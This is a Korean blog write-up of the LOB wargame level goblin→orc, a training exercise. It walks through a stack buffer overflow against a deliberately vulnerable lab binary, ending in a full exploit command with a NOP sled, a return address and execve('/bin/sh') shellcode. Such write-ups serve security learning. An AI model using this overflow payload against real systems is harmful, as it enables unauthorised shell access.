반응형
Level 4 goblin > orc 로 접속합니다.
소스를 살펴보면
이번에는 에그쉘을 쓰지 못하네요
egghunter에서 환경변수는 주소를 모두 0으로 만들어 버리네요
그리고 argv[1][47]이 \xbf여야 한다네요.
우선 gdb를 사용해 메모리 구조를 나타내면
RET 4
SFP 4
BUFFER 40
i 4
가 됩니다. 이번에도 더미값은 없네요
대충 공격코드를 작성해보면
nop(44byte) + ret + nop + shellcode
가 되겠군요
buffer의 주소를 알아내기 위해
gdb를 활용합니다.
strcpy함수가 호출되고 난 후의 부분에 break 를 걸고
살펴보려는데...
권한문제 ;;
orc프로그램을 따로 컴파일해서 해보았으나
주소가 맞지않아 안되네요..
다른 방법을 찾던중
orc 소스파일 자체에서 buffer의 주소를 출력해주면 되지않을까? 라는 생각을 했습니다.
맨 마지막줄에
printf("0x%x\n", buffer);
를 해주고
buffer의 주소가 출력 됩니다.
0xbffffa80 입니다.
다시 공격 코드를 살펴보면
\x90*44(nop) + \x80\xfa\xff\xbf + \x90*200(nop)+쉘코드
형식이 됩니다.
(argv[1][47] 이 \xbf가 되는 조건도 만족했습니다. [리틀에디안])
./orc `python -c 'print "\x90"*44 + "\x80\xfa\xff\xbf" + "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
반응형
'Security > Pwnable' 카테고리의 다른 글
LOB Level 6 wolfman (0) | 2021.08.09 |
---|---|
LOB Level 5 orc (0) | 2021.08.09 |
LOB Level 3 cobolt (0) | 2021.08.09 |
LOB Level 2 gremlin (0) | 2021.08.09 |
LOB Level 1 gate (0) | 2021.08.09 |